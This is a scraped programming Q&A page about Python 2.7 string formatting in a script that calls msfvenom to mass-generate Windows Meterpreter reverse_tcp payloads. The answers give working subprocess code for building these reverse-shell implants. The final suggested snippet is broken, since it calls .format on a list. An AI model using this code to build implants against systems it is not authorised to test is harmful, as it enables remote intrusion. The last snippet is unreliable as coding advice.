简体   繁体   中英

Appending variables as strings when passing command line arguments in python 2.7.12

I am attempting to create a Metasploit payload generator with Python 2.7.12. It generates many malicious payloads utilizing msfvenom .

First I utilize the %s and %d format operators.

call(["msfvenom", "-p", "windows/meterpreter/reverse_tcp", "LHOST=%s",   
"LPORT=%s", "-e %s", "-i %d", "-f %s", "> %s.%s"]) % (str(lhost), 
str(lport), str(encode), iteration, str(formatop), str(payname), str(formatop))

This error returns

/usr/bin/msfvenom:168:in `parse_args': invalid argument: -i %d 
(OptionParser::InvalidArgument)
from /usr/bin/msfvenom:283:in `<main>'
Traceback (most recent call last):
    File "menu.py", line 74, in <module>
  call(["msfvenom", "-p", "windows/meterpreter/reverse_tcp", "LHOST=%s", 
"LPORT=%s", "-e %s", "-i %d", "-f %s", "> %s.%s"]) % (str(lhost), 
str(lport), str(encode), iteration, str(formatop), str(payname), str(formatop))
TypeError: unsupported operand type(s) for %: 'int' and 'str'

I am able to understand that msfvenom is not able to parse the argument I pass, which was the iteration flag, -i . Following that I see an error from Python, TypeError .

After conducting some research, I decided to use .format() , since

call(["msfvenom", "-p", "windows/meterpreter/reverse_tcp", "LHOST={0}",   
"LPORT={1}", "-e {2}", "-i {3}", "-f {4}", "> {5}.{6}"]).format(lhost,  
lport, encode, iteration, formatop, payname, formatop)

It returns

AttributeError: 'int' object has no attribute 'format'

What should I do? Also are there anyways I can optimize my program and instead of copy and pasting the same line, and changing the payload type for 15 options?

You cannot use format on the result of the call(...) . You should format each component:

with open("{}.{}".format(payname, format), 'w') as outfile:
    call(["msfvenom", "-p", "windows/meterpreter/reverse_tcp", "LHOST={}".format(lhost), "LPORT={}".format(lport), "-e", str(encode), "-i", str(iteration), "-f", str(format)], stdout=outfile)

Note that the redirection is replaced with an explicitly opened file, because subprocess.call will not pass that to the shell unless you enable the unsafe shell=True argument.

To repeat this multiple times with a different payload is easy: create an array with the payloads then put this code into a loop (or, perhaps clearer, a function called with one payload at a time).

A good trick is to use split on your command to create the list that's passed to call , this will make the the variable substitution cleaner too:

call("msfvenom -p windows/meterpreter/reverse_tcp LHOST={0} LPORT={1} -e {2} -i {3} -f {4} > {5}.{6}"
     .split().format(lhost,  lport, encode, iteration, formatop, payname, formatop))

The technical post webpages of this site follow the CC BY-SA 4.0 protocol. If you need to reprint, please indicate the site URL or the original address.Any question please contact:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM